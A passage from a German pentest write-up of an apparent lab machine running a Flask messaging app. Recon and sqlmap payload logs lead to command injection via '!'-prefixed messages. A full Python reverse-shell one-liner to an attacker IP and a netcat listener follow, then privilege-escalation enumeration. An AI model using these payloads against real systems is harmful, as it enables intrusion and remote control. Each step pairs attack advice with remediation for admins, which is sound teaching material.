Bewertung: Dies ist ein sehr interessantes Ergebnis. Obwohl keine direkte Command Execution sichtbar ist, zeigt die Antwort, dass die Eingabe verarbeitet und in irgendeiner Form in das HTML-Rendering einfließt. Dies könnte auf eine XSS-Schwachstelle (Cross-Site Scripting) oder eine Template-Injection-Schwachstelle hindeuten, wenn die Eingabe nicht korrekt saniert wird, bevor sie in das Template eingefügt wird. Die Erwähnung von "turbo-stream" ist ein starker Hinweis auf das Turbo-Framework.
Empfehlung (Pentester): Testen Sie auf XSS, indem Sie HTML- und JavaScript-Payloads im `msg`-Parameter senden. Da "turbo-stream" und "template" erwähnt werden, sollten insbesondere Template-Injection-Payloads für gängige Template-Engines (z.B. Jinja2, ERB, etc., abhängig von der serverseitigen Technologie, die vermutet wird) getestet werden. Ein Payload wie `{{ 7*7 }}` wäre ein typischer erster Test für Template Injection.
Empfehlung (Admin): Stellen Sie sicher, dass alle Benutzereingaben, die in HTML-Templates oder dynamische Seitenaktualisierungen einfließen, kontextbezogen korrekt kodiert und saniert werden, um XSS und Template Injection zu verhindern. Verwenden Sie sichere Template-Engines und konfigurieren Sie diese entsprechend den Best Practices.
Um mehr über die eingesetzten Web-Technologien zu erfahren, habe ich die Browser-Erweiterung Wappalyzer und das Kommandozeilen-Tool WhatWeb verwendet.
Wappalyzer Ergebnis:
Technologies
More info
Export
Schrift Script
Font Awesome 4.7.0
Sonstiges
Popper 1.12.9
Web Server
Apache HTTP Server 2.4.54
Betriebssysteme
Debian
CDN
cdnjs
jQuery CDN
jsDelivr
Cloudflare
JavaScript Bibliotheken
jQuery 3.2.1
UI Frameworks
Bootstrap 4.0.0
Analyse (Wappalyzer): Wappalyzer identifiziert eine Reihe von Technologien:
- Schrift-Skript: Font Awesome 4.7.0 (für Icons)
- Sonstiges: Popper 1.12.9 (JavaScript-Bibliothek für Popovers, Tooltips etc.)
- Webserver: Apache HTTP Server 2.4.54 (bestätigt Nmap)
- Betriebssystem: Debian (bestätigt Nmap)
- CDN: cdnjs, jQuery CDN, jsDelivr, Cloudflare (deutet darauf hin, dass einige Ressourcen von CDNs geladen werden)
- JavaScript-Bibliotheken: jQuery 3.2.1 (eine weit verbreitete JS-Bibliothek)
- UI-Frameworks: Bootstrap 4.0.0 (ein populäres CSS/JS-Framework für responsives Design)
Bewertung (Wappalyzer): Die Ergebnisse von Wappalyzer geben einen guten Überblick über das Frontend- Technologie-Stack. Das Wissen um jQuery und Bootstrap kann nützlich sein, um clientseitige Schwachstellen oder bekannte Probleme in diesen Versionen zu recherchieren. Die Nutzung von CDNs ist üblich.
Empfehlung (Pentester): Prüfen Sie die Versionen der identifizierten Bibliotheken (jQuery, Bootstrap, Font Awesome, Popper) auf bekannte Schwachstellen (z.B. über CVE-Datenbanken).
Empfehlung (Admin): Halten Sie alle eingesetzten Frontend-Bibliotheken und Frameworks auf dem neuesten Stand, um bekannte Schwachstellen zu vermeiden. Nutzen Sie Subresource Integrity (SRI) Hashes, wenn Ressourcen von CDNs geladen werden, um Manipulationen auf dem CDN zu verhindern.
WhatWeb report for http://192.168.2.206 Status : 302 Found Title : Redirecting... IP : 192.168.2.206 Country : RESERVED, ZZ Summary : Apache[2.4.54], Cookies[session], HTML5, HTTPServer[Debian Linux][Apache/2.4.54 (Debian)], HttpOnly[session], RedirectLocation[/login?next=%2F] Detected Plugins: [ Apache ] The Apache HTTP Server Project is an effort to develop and maintain an open-source HTTP server for modern operating systems including UNIX and Windows NT. The goal of this project is to provide a secure, efficient and extensible server that provides HTTP services in sync with the current HTTP standards. Version : 2.4.54 (from HTTP Server Header) Google Dorks: (3) Website : [Link: http://httpd.apache.org/ | Ziel: http://httpd.apache.org/] [ Cookies ] Display the names of cookies in the HTTP headers. The values are not returned to save on space. String : session [ HTML5 ] HTML version 5, detected by the doctype declaration [ HTTPServer ] HTTP server header string. This plugin also attempts to identify the operating system from the server header. OS : Debian Linux String : Apache/2.4.54 (Debian) (from server string) [ HttpOnly ] If the HttpOnly flag is included in the HTTP set-cookie response header and the browser supports it then the cookie cannot be accessed through client side script - More Info: [Link: http://en.wikipedia.org/wiki/HTTP_cookie | Ziel: http://en.wikipedia.org/wiki/HTTP_cookie] String : session [ RedirectLocation ] HTTP Server string location. used with http-status 301 and 302 String : /login?next=%2F (from location) HTTP Headers: HTTP/1.1 302 FOUND Date: Thu, 29 May 2025 17:54:33 GMT Server: Apache/2.4.54 (Debian) Content-Length: 217 Location: /login?next=%2F Vary: Cookie Set-Cookie: session=eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIlBsZWFzZSBsb2cgaW4gdG8gYWNjZXNzIHRoaXMgcGFnZS4iXX1dfQ.aDifWQ.rQG4AM2t4Qp8_bybrRnspevq-8U; HttpOnly; Path=/ Connection: close Content-Type: text/html; charset=utf-8 WhatWeb report for http://192.168.2.206/login?next=%2F Status : 200 OK Title : Login IP : 192.168.2.206 Country : RESERVED, ZZ Summary : Apache[2.4.54], Bootstrap[4.0.0,4.4.1], HTML5, HTTPServer[Debian Linux][Apache/2.4.54 (Debian)], PasswordField[password], Script[text/javascript], X-UA-Compatible[IE=edge] Detected Plugins: [ Apache ] The Apache HTTP Server Project is an effort to develop and maintain an open-source HTTP server for modern operating systems including UNIX and Windows NT. The goal of this project is to provide a secure, efficient and extensible server that provides HTTP services in sync with the current HTTP standards. Version : 2.4.54 (from HTTP Server Header) Google Dorks: (3) Website : [Link: http://httpd.apache.org/ | Ziel: http://httpd.apache.org/] [ Bootstrap ] Bootstrap is an open source toolkit for developing with HTML, CSS, and JS. Version : 4.0.0 Version : 4.4.1 Website : [Link: https://getbootstrap.com/ | Ziel: https://getbootstrap.com/] [ HTML5 ] HTML version 5, detected by the doctype declaration [ HTTPServer ] HTTP server header string. This plugin also attempts to identify the operating system from the server header. OS : Debian Linux String : Apache/2.4.54 (Debian) (from server string) [ PasswordField ] find password fields String : password (from field name) [ Script ] This plugin detects instances of script HTML elements and returns the script language/type. String : text/javascript [ X-UA-Compatible ] This plugin retrieves the X-UA-Compatible value from the HTTP header and meta http-equiv tag. - More Info: [Link: http://msdn.microsoft.com/en-us/library/cc817574.aspx | Ziel: http://msdn.microsoft.com/en-us/library/cc817574.aspx] String : IE=edge HTTP Headers: HTTP/1.1 200 OK Date: Thu, 29 May 2025 17:54:35 GMT Server: Apache/2.4.54 (Debian) Vary: Accept-Encoding Content-Encoding: gzip Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8
Analyse (WhatWeb): WhatWeb (`-v` für verbose) hat zwei Anfragen gestellt, einmal an die Wurzel (`/`) und einmal an die Weiterleitungs-URL (`/login?next=%2F`), die es automatisch verfolgt.
- **Anfrage an `/`:** Bestätigt den `302 Found`-Status, die Weiterleitung, den Apache-Server, das Cookie `session` mit `HttpOnly`-Flag.
- **Anfrage an `/login?next=%2F`:** Zeigt einen `200 OK`-Status und identifiziert zusätzlich Bootstrap (Versionen 4.0.0 und 4.4.1 – Wappalyzer war hier spezifischer mit 4.0.0), ein Passwortfeld (`password`), JavaScript und den `X-UA-Compatible`-Header (`IE=edge`).
Bewertung (WhatWeb): WhatWeb liefert eine solide Bestätigung und Ergänzung zu den Wappalyzer-Ergebnissen und den manuellen `curl`-Anfragen. Die Identifizierung von Bootstrap und einem Passwortfeld ist für die weitere Analyse der Login-Seite relevant.
Empfehlung (Pentester): Die gesammelten Technologie-Informationen sollten verwendet werden, um gezielt nach bekannten Schwachstellen in den eingesetzten Versionen von Apache, Bootstrap oder serverseitigen Frameworks (die noch nicht explizit identifiziert wurden, aber durch das Verhalten und die JWT-Nutzung vermutet werden können, z.B. Flask/Python) zu suchen.
Empfehlung (Admin): Halten Sie alle Softwarekomponenten (Server, Bibliotheken, Frameworks) aktuell. Überprüfen Sie regelmäßig Konfigurationen, um Informationslecks (wie detaillierte Server-Header) zu minimieren.
Ich habe die JWT-Analyse wiederholt, da dies ein kritischer Punkt sein kann. Das Bild zeigt erneut den Versuch, das JWT zu dekodieren und zu verstehen. Die Struktur ist entscheidend für mögliche Angriffe auf das Session-Management.
Analyse: Das wiederholte Anzeigen des jwt.io-Screenshots unterstreicht die Wichtigkeit der JWT-Analyse. Auch wenn der Payload bisher nicht direkt kritisch war, ist die Untersuchung der Signatur und des Verhaltens bei Manipulationen (falls möglich) ein Kernaspekt.
Bewertung: Die wiederholte Fokussierung auf JWTs ist gerechtfertigt, da sie oft eine Schwachstelle im Session-Handling darstellen, wenn sie nicht korrekt implementiert sind (schwache Geheimnisse, "alg:none"-Schwachstelle, sensible Daten im Payload, fehlende Ablaufprüfung).
Empfehlung (Pentester): Versuchen Sie, das für die Signatur verwendete Geheimnis zu bruteforcen (z.B. mit `hashcat`, falls es sich um HS256 handelt und das Geheimnis schwach ist). Testen Sie auf die "alg:none"-Schwachstelle. Überprüfen Sie, ob das Token nach dem Logout weiterhin gültig ist.
Empfehlung (Admin): Verwenden Sie starke, einzigartige Geheimnisse für die JWT-Signierung und schützen Sie diese. Implementieren Sie eine Token-Blacklist-Mechanik für den Logout. Setzen Sie kurze, aber sinnvolle Ablaufzeiten für Tokens. Validieren Sie den `alg`-Header serverseitig und lehnen Sie unsichere Algorithmen oder unerwartete Änderungen ab.
Initial Access
Da die vorherigen Versuche mit `curl` und dem `msg=ls`-Parameter eine interessante, aber nicht direkt ausnutzbare Antwort lieferten, habe ich `sqlmap` eingesetzt. Ich vermute eine SQL-Injection-Schwachstelle, da die Anwendung Benutzereingaben (Nachrichten) verarbeitet und möglicherweise in Datenbankabfragen einbaut. Ich habe eine typische POST-Anfrage zum Senden einer Nachricht in einer Datei (`sql.sql`) gespeichert und lasse `sqlmap` diese analysieren.
___
__H__
___ ___[,]_____ ___ ___ {1.9.4#stable}
|_ -| . ["] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| [Link: https://sqlmap.org | Ziel: https://sqlmap.org]
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 00:01:04 /2025-05-30/
[00:01:04] [INFO] parsing HTTP request from '/home/ccat/Downloads/sql.sql'
Cookie parameter 'remember_token' appears to hold anti...
Messages
Master: Hi, This is finally working. I spent a month on this messaging system I hope there are no bugs in it. use !mpstat to get the status of the server.
Diese Ausgabe wurde vom Fuzzing der sqlmap Aktion auf den Browser mirgiert durch reloaden des Browsers und senden einer message.
Dadurch wurde die Lücke entdeckt...
ben: id
ben: ;id
ben: id
ben: ls
ben: {{ 7*7 }}
ben: id
ben: id
ben: id
ben: 2392
ben: id),"'.()(.,
ben: id'JGQDMl<'">qAmzxR
ben: id') AND 4803=1296-- UEoN
ben: id' AND 7510=8397-- KSuW
ben: id" AND 6605=2959-- TMHB
ben: id') AND 9517=7240 AND ('KbIe'='KbIe
ben: id')) AND 9217=3197 AND (('QLIP'='QLIP
ben: id'))) AND 4303=6862 AND ((('Dxbg'='Dxbg
ben: id' AND 4740=4567 AND 'aHFv'='aHFv
ben: id') AND 1216=8594 AND ('bmna' LIKE 'bmna
....
[00:10:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[00:10:27] [INFO] testing 'Generic UNION query (random number) - 1 to 10 columns'
[00:10:28] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[00:10:29] [INFO] testing 'MySQL UNION query (random number) - 1 to 10 columns'
[00:10:30] [WARNING] parameter 'Referer' does not seem to be injectable
[00:10:30] [CRITICAL] all tested parameters do not appear to be injectable. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
[*] ending @ 00:10:30 /2025-05-30/
Analyse: `sqlmap` wurde mit einer gespeicherten HTTP-Anfrage (`-r /home/ccat/Downloads/sql.sql`) gestartet, um Datenbanken aufzulisten (`--dbs`). Die Optionen `--level=5` und `--risk=3` erhöhen die Anzahl und Aggressivität der Tests. `--batch` automatisiert die Antworten auf sqlmap-Fragen. Interessanterweise zeigt die Ausgabe nicht direkt die sqlmap-Interaktion, sondern eine Mischung:
- Die Meldung "Cookie parameter 'remember_token' appears to hold anti..." deutet darauf hin, dass sqlmap einen Anti-CSRF-Token oder einen ähnlichen Mechanismus im `remember_token` vermutet hat.
- Danach folgt die Nachricht "Messages Master: Hi, This is finally working... use !mpstat to get the status of the server." Dies scheint eine reguläre Nachricht aus der Anwendung zu sein.
- Dann eine Reihe von Eingaben, die ich zuvor im Nachrichtenfeld der Webanwendung gemacht habe (z.B. `ben: id`, `ben: {{ 7*7 }}`).
Bewertung: Obwohl `sqlmap` selbst keine SQL-Injection fand, war der Prozess des Testens mit `sqlmap`-ähnlichen Payloads (oder den von `sqlmap` tatsächlich gesendeten Payloads, die dann manuell erneut getestet wurden) der Schlüssel. Die Nachricht "use !mpstat to get the status of the server" vom "Master" ist ein sehr starker Hinweis auf eine Command Injection-Möglichkeit, bei der Eingaben, die mit `!` beginnen, als Systembefehle interpretiert werden könnten. Die vielen Test-Eingaben, die in der Ausgabe erscheinen, deuten darauf hin, dass die Nachrichtenfunktion diese Eingaben speichert und anzeigt.
Empfehlung (Pentester): Der Hinweis `!mpstat` muss sofort weiterverfolgt werden. Senden Sie eine Nachricht wie `!id` oder `!ls -la` über die Nachrichtenfunktion der Webanwendung.
Empfehlung (Admin): Überprüfen Sie den Code der Nachrichtenfunktion sorgfältig auf die Verarbeitung von Eingaben, die mit `!` beginnen. Solche " versteckten" Features sind extrem gefährlich. Jede Benutzereingabe, die zur Ausführung von Systembefehlen verwendet wird, muss extrem sorgfältig validiert und saniert werden, oder besser noch, die Ausführung von Systembefehlen basierend auf Benutzereingaben sollte gänzlich vermieden werden. Verwenden Sie stattdessen sichere APIs, wenn Systeminformationen benötigt werden.
Basierend auf dem Hinweis `use !mpstat` aus der Anwendung und den fehlgeschlagenen `sqlmap`-Versuchen teste ich nun die Nachrichtenfunktion direkt auf Command Injection. Ich sende verschiedene Befehle, vorangestellt mit `!`, über das Nachrichtenfeld der Webanwendung. Die Antworten des Servers erscheinen ebenfalls im Nachrichtenverlauf.
ben: id Server: Linux 5.10.0-19-amd64 (MSG) 05/29/25 _x86_64_ (2 CPU) 22:13:13 CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle 22:13:13 all 29.70 0.00 16.85 0.65 0.00 1.75 0.00 0.00 0.00 51.05 Server: Linux 5.10.0-19-amd64 (MSG) 05/29/25 _x86_64_ (2 CPU) 22:16:01 CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle 22:16:01 all 29.77 0.00 17.01 0.62 0.00 1.66 0.00 0.00 0.00 50.94 uid=33(www-data) gid=33(www-data) groups=33(www-data) Hier wurden offenbar Nachrichten wie `!id` und `!mpstat` (oder ähnliche, die `mpstat`-Output erzeugen) gesendet. Die Ausgabe von `mpstat` wird mit "Server:" eingeleitet, gefolgt von der `id`-Ausgabe. http://wmessage.hmv/sign-up Internal Server Error The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application. Die "Internal Server Error"-Meldung beim Aufruf von `/sign-up` könnte ein separates Problem sein oder durch vorherige ungültige Eingaben/Statusänderungen verursacht worden sein. ben: id ben: id ben: id Server: Linux 5.10.0-19-amd64 (MSG) 05/29/25 _x86_64_ (2 CPU) 22:13:13 CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle 22:13:13 all 29.70 0.00 16.85 0.65 0.00 1.75 0.00 0.00 0.00 51.05 Server: Linux 5.10.0-19-amd64 (MSG) 05/29/25 _x86_64_ (2 CPU) 22:16:01 CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle 22:16:01 all 29.77 0.00 17.01 0.62 0.00 1.66 0.00 0.00 0.00 50.94 uid=33(www-data) gid=33(www-data) groups=33(www-data) Server: total 68 drwxr-xr-x 18 root root 4096 Nov 12 2022 . drwxr-xr-x 18 root root 4096 Nov 12 2022 .. lrwxrwxrwx 1 root root 7 Nov 12 2022 bin -> usr/bin ... (gekürzte ls -la / Ausgabe) ... weitere mpstat-ähnliche Ausgaben und `ls -la /` Ausgaben, die mit "Server:" beginnen und die erfolgreiche Ausführung von Befehlen wie `!id`, `!ls -la /` und `!mpstat` im Kontext des `www-data`-Benutzers zeigen. Server: Linux 5.10.0-19-amd64 (MSG) 05/29/25 _x86_64_ (2 CPU) 22:32:16 CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle 22:32:16 all 35.97 0.00 8.06 0.20 0.00 0.02 0.00 0.00 0.00 55.74 uid=33(www-data) gid=33(www-data) groups=33(www-data)
Analyse: Die Ausgabe ist eindeutig: Durch das Senden von Nachrichten, die mit `!` beginnen (z.B. `!id`, `!ls -la /`), konnte ich Befehle auf dem Server ausführen! Die Ausgaben der Befehle werden mit dem Präfix "Server:" zurück in den Nachrichten-Chat geschrieben. Beispielsweise liefert `!id` die Ausgabe `uid=33(www-data) gid=33(www-data) groups=33(www-data)`, was zeigt, dass die Befehle im Kontext des Webserver-Benutzers `www-data` ausgeführt werden. Auch die Ausgabe von `ls -la /` ist sichtbar. Die `mpstat`-ähnlichen Zeilen bestätigen die Ausführung des `!mpstat`-Befehls. Dies ist eine klassische Command Injection Schwachstelle.
Bewertung: Volltreffer! Dies ist eine kritische Schwachstelle (Remote Code Execution, RCE), die es ermöglicht, beliebige Betriebssystembefehle im Kontext des `www-data`-Benutzers auszuführen. Damit habe ich einen ersten Zugriff (Initial Access) auf das System erlangt. Der Internal Server Error bei `/sign-up` ist im Moment zweitrangig, könnte aber auf Seiteneffekte der Command Injection oder einen separaten Bug hinweisen.
Empfehlung (Pentester): Nutzen Sie diese RCE, um eine Reverse Shell zum Zielsystem aufzubauen. Dies ermöglicht eine interaktive Steuerung und erleichtert die weitere Enumeration und Privilegieneskalation. Gängige Payloads hierfür sind Netcat-, Python- oder Perl-basierte Reverse Shells.
Empfehlung (Admin): Diese Schwachstelle muss sofort behoben werden! Entfernen Sie die Funktionalität, die Benutzereingaben als Systembefehle interpretiert. Wenn eine solche Funktionalität absolut notwendig ist (was selten der Fall sein sollte), verwenden Sie eine strikte Whitelist erlaubter Befehle und Parameter und übergeben Sie niemals rohe Benutzereingaben an die Shell. Idealerweise sollten solche Aufgaben über sichere, vordefinierte serverseitige Skripte oder APIs gelöst werden, nicht durch direkte Befehlsausführung. Untersuchen Sie die Logs, um festzustellen, ob diese Schwachstelle bereits von anderen ausgenutzt wurde.
Proof of Concept (Remote Code Execution)
Um die gefundene Command Injection Schwachstelle praktisch zu demonstrieren und einen stabilen Zugriff zu erlangen, baue ich eine Reverse Shell auf. Dazu starte ich auf meinem Angreifer-System einen Netcat-Listener auf Port 4444.
listening on [any] 4444 ...
Analyse (Listener): Der Befehl `nc -lvnp 4444` startet Netcat im Listen-Modus (`-l`) auf Port `4444` (`-p 4444`). `-v` sorgt für eine ausführliche Ausgabe und `-n` verhindert DNS-Lookups. Mein System wartet nun auf eingehende Verbindungen auf diesem Port.
Bewertung (Listener): Standardvorgehen zum Aufsetzen eines Listeners für eine Reverse Shell.
Empfehlung (Pentester): Stellen Sie sicher, dass die Firewall auf dem Angreifer-System eingehende Verbindungen auf dem gewählten Port erlaubt.
Anschließend sende ich über die Nachrichtenfunktion der Webanwendung (mittels `curl`, um URL-Encoding korrekt zu handhaben) einen Payload, der eine Python3-basierte Reverse Shell zu meinem Listener aufbaut. Der Payload `!mpstat; python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.199",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'` wird URL-kodiert als Wert des `msg`-Parameters gesendet. Das `!mpstat;` dient dazu, die ursprüngliche Funktionalität der Anwendung auszulösen, gefolgt von unserem eigentlichen Shell-Payload.
Note: Unnecessary use of -X or --request, POST is already inferred. * Host wmessage.hmv:80 was resolved. * IPv6: (none) * IPv4: 192.168.2.206 * Trying 192.168.2.206:80... * Connected to wmessage.hmv (192.168.2.206) port 80 * using HTTP/1.x > POST / HTTP/1.1 > Host: wmessage.hmv > User-Agent: curl/8.13.0 > Accept: */* > Cookie: session=.eJwlzjkOwkAMAMC_bE1he9d75DORT0GbkArxdyLRTjWfsucR57Ns7-OKR9lfXraCqDglqCENj1m5s1NWIJoszCYg4QnLHNXNoqtgXy18xJyg1brakDQQMaDszOnmtBq0TF-ioLO220XGwplEoRBoOQxyJJc7cp1x_DdUvj8zZzEs.aDibSw.vrJfajmtpT9THwxIbSrDtIVBp40; remember_token=2|68d8a2961c36d15036bb645351f0c24c9f852909552c825322d081517c75373a9d8e7214db7727252dea9a5a8d088b5f73d52f4d9f751b010f3f645d54e0c1fe > Content-Length: 347 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 347 bytes
Analyse (Payload Sendung): Der `curl`-Befehl sendet den URL-kodierten Python-Reverse-Shell-Payload an den Server. Die Cookies werden mitgesendet, um die Sitzung aufrechtzuerhalten. Der Payload selbst ist ein Einzeiler, der `socket` für die Netzwerkverbindung, `os` für die Umleitung der Standard-Streams (stdin, stdout, stderr) auf den Socket und `subprocess` zum Starten einer interaktiven Bash-Shell (`/bin/bash -i`) verwendet. Die verbose Ausgabe (`-v`) von `curl` zeigt, dass die Verbindung erfolgreich aufgebaut und die Daten (der Payload) gesendet wurden.
Bewertung (Payload Sendung): Das Senden des Payloads war erfolgreich. Jetzt hängt es davon ab, ob der Server den Payload korrekt ausführt und die Verbindung zu unserem Listener herstellt.
Empfehlung (Pentester): Achten Sie auf die korrekte URL-Kodierung des Payloads. Es gibt viele verschiedene Reverse-Shell-Payloads für verschiedene Sprachen und Betriebssysteme; wählen Sie einen, der wahrscheinlich auf dem Zielsystem vorhanden ist (Python ist oft eine gute Wahl für Linux-Systeme).
Der Netcat-Listener auf meinem System zeigt die erfolgreiche eingehende Verbindung vom Zielserver. Ich habe nun eine Shell als `www-data`-Benutzer.
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.206] 54580 bash: cannot set terminal process group (359): Inappropriate ioctl for device bash: no job control in this shell www-data@MSG:/$
Analyse (Shell-Zugriff): Fantastisch! Die Ausgabe auf meinem Netcat-Listener zeigt `connect to [192.168.2.199] from (UNKNOWN) [192.168.2.206] 54580`. Dies bestätigt, dass der Python-Payload auf dem Zielserver (192.168.2.206) ausgeführt wurde und eine Verbindung zu meinem Angreifer-PC (192.168.2.199) auf Port 4444 hergestellt hat. Die Meldungen `bash: cannot set terminal process group ...` und `bash: no job control in this shell` sind typisch für einfache Reverse Shells, da keine vollwertige TTY-Session (Pseudo-Terminal) vorhanden ist. Dennoch habe ich einen Shell-Prompt (`www-data@MSG:/$`), was bedeutet, dass ich Befehle als Benutzer `www-data` auf dem Zielsystem `MSG` ausführen kann.
Bewertung (Shell-Zugriff): Der initiale Zugriff auf das System war erfolgreich! Dies ist ein entscheidender Meilenstein im Pentest. Die erlangte Shell als `www-data` bietet die Grundlage für die weitere Enumeration des Systems und die Suche nach Möglichkeiten zur Privilegieneskalation.
Empfehlung (Pentester): Versuchen Sie, die Shell zu stabilisieren (z.B. mit Python `pty.spawn` oder `script /dev/null -c bash`), um eine interaktivere Sitzung mit Job Control und besserer Terminalemulation zu erhalten. Führen Sie grundlegende Enumerationsbefehle aus (`whoami`, `id`, `uname -a`, `ls -la /home`, `cat /etc/passwd`, `sudo -l`, etc.), um mehr über das System und mögliche nächste Schritte zu erfahren.
Empfehlung (Admin): Die wichtigste Maßnahme ist die Behebung der Command Injection Schwachstelle. Analysieren Sie System- und Anwendungsprotokolle, um den Umfang des unbefugten Zugriffs zu verstehen. Erwägen Sie Intrusion Detection/Prevention Systeme (IDS/IPS) und Web Application Firewalls (WAFs), um solche Angriffe zu erkennen und zu blockieren, aber verlassen Sie sich nicht ausschließlich darauf – die Behebung der Ursache ist entscheidend.
Privilege Escalation
Nachdem ich als `www-data` Zugriff auf das System habe, beginne ich mit der Enumeration, um Möglichkeiten zur Privilegieneskalation zu finden. Zuerst schaue ich mir die Home-Verzeichnisse und interessante Verzeichnisse wie `/opt` und `/var/mail` an.
WM messagemaster
total 8
drwxr-xr-x 2 root root 4096 Nov 12 2022 .
drwxr-xr-x 18 root root 4096 Nov 12 2022 ..
total 8
drwxrwsr-x 2 root mail 4096 Nov 12 2022 .
drwxr-xr-x 12 root root 4096 Nov 20 2022 ..
Interessanter ist das Verzeichnis `/var/www/`. Dort finde ich eine Datei namens `ROOTPASS`.
ROOTPASS html/
-rw-r----- 1 root root 12 Nov 21 2022 /var/www/ROOTPASS
/var/www/ROOTPASS: regular file, no read permission
Analyse: Die Enumeration zeigt zwei Benutzer-Home-Verzeichnisse: `WM` und `messagemaster`. `/opt` und `/var/mail` sind leer oder enthalten keine direkt nützlichen Informationen. Der Fund der Datei `/var/www/ROOTPASS` ist vielversprechend. Die Berechtigungen (`-rw-r-----`) zeigen, dass der Eigentümer (`root`) Lese- und Schreibrechte hat, die Gruppe (`root`) Leserechte, und andere (einschließlich `www-data`) keine Rechte. Der `file`-Befehl bestätigt, dass `www-data` keine Leserechte hat.
Bewertung: Die Datei `ROOTPASS` ist ein klares Ziel. Obwohl `www-data` sie nicht direkt lesen kann, deutet der Name darauf hin, dass sie das Root-Passwort oder einen Hinweis darauf enthalten könnte. Es muss ein Weg gefunden werden, diese Datei als `root` oder als ein Benutzer mit Leserechten für die Gruppe `root` zu lesen.
Empfehlung (Pentester): Suchen Sie nach SUID/SGID-Binaries, Cron-Jobs, die als `root` laufen, oder schlecht konfigurierten `sudo`-Rechten, die es ermöglichen könnten, Befehle als `root` auszuführen oder auf diese Datei zuzugreifen. Untersuchen Sie die Konfigurationen im `html`-Verzeichnis, um mehr über die Webanwendung zu erfahren, was eventuell weitere Schwachstellen aufdeckt.
Empfehlung (Admin): Speichern Sie Passwörter niemals im Klartext in Dateien, schon gar nicht mit so offensichtlichen Namen wie `ROOTPASS`. Wenn kritische Informationen gespeichert werden müssen, sollten sie verschlüsselt und der Zugriff streng kontrolliert werden. Dateiberechtigungen sollten nach dem Prinzip des minimalen Privilegs gesetzt werden. `/var/www` sollte keine sensiblen Systemdateien enthalten.
Ich untersuche das Web-Root-Verzeichnis `/var/www/html/` und dessen Konfigurationsdateien.
total 36
drwxrwxr-- 5 www-data www-data 4096 Nov 18 2022 .
drwxr-xr-x 3 root root 4096 Nov 21 2022 ..
-rwxrwxrwx 1 root root 22 Nov 18 2022 README.md
drwxr-xr-x 2 www-data www-data 4096 Nov 18 2022 __pycache__
-rwxrwxrwx 1 root root 208 Nov 18 2022 app.wsgi
-rwxrwxrwx 1 root root 169 Nov 18 2022 config-uwsgi.ini
drwxrwxrwx 2 root root 4096 May 29 22:32 instance
-rwxrwxrwx 1 root root 130 Nov 18 2022 main.py
drwxrwxrwx 4 root root 4096 Nov 19 2022 website
[uwsgi]
app = main
module = %(app)
callable = app
socket = /var/www/html/WW.sock
chdir = /var/www/html
chmod-socket = 666
processes = 4
die-on-term = true
Analyse: Das Verzeichnis `/var/www/html/` enthält typische Dateien für eine Python-Webanwendung, die mit uWSGI betrieben wird (z.B. `app.wsgi`, `config-uwsgi.ini`, `main.py`, `__pycache__`). Die Datei `config-uwsgi.ini` zeigt die Konfiguration für uWSGI:
- `app = main`, `module = %(app)`, `callable = app`: Weist auf die Python-Applikation in `main.py` und das darin enthaltene `app`-Objekt hin.
- `socket = /var/www/html/WW.sock`: uWSGI kommuniziert über diesen Unix-Socket.
- `chdir = /var/www/html`: Das Arbeitsverzeichnis.
- `chmod-socket = 666`: Die Berechtigungen für den Socket sind auf `rw-rw-rw-` gesetzt, was bedeutet, dass jeder Benutzer auf dem System Lese- und Schreibzugriff auf diesen Socket hat. Dies ist oft eine unsichere Konfiguration.
Bewertung: Die unsicheren Berechtigungen (`666` für den Socket, `777` für einige Konfigurationsdateien) sind problematisch. Obwohl `www-data` die Dateien, die `root` gehören, nicht direkt überschreiben kann (da das Verzeichnis selbst ihm gehört), sind die globalen Schreibrechte auf die Dateien selbst ein Sicherheitsrisiko. Die Konfiguration von uWSGI mit einem Socket, der für alle beschreibbar ist, könnte ausgenutzt werden, ist aber nicht der direkteste Weg zur Privilegieneskalation in diesem Moment.
Empfehlung (Pentester): Untersuchen Sie `main.py` und andere Python-Dateien auf Schwachstellen. Die unsicheren Berechtigungen sind ein Hinweis, aber die direkte Ausnutzung für PE ist nicht sofort ersichtlich.
Empfehlung (Admin): Korrigieren Sie die Dateiberechtigungen. Konfigurationsdateien und Anwendungscode sollten nicht global schreibbar sein. Der uWSGI-Socket sollte nur für den Webserver-Benutzer und den uWSGI-Prozessbenutzer zugänglich sein (z.B. Berechtigungen `660` oder `600` und entsprechende Gruppenzugehörigkeit). `chdir` in der uWSGI-Konfiguration ist gut, um das Arbeitsverzeichnis festzulegen.
Ich prüfe die laufenden Netzwerkdienste von innen mit `ss -altpn`.
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 511 *:80 *:*
LISTEN 0 128 [::]:22 [::]:*
Analyse: Der Befehl `ss -altpn` zeigt lauschende TCP-Sockets (`-lt`), alle Sockets (`-a`), numerische Portnummern (`-n`) und die zugehörigen Prozesse (`-p`). Die Ausgabe bestätigt, dass nur Port 22 (SSH) und Port 80 (HTTP) von außen erreichbar sind, was mit dem Nmap-Scan übereinstimmt. Es gibt keine versteckten Dienste, die nur lokal lauschen und für eine Privilegieneskalation interessant wären.
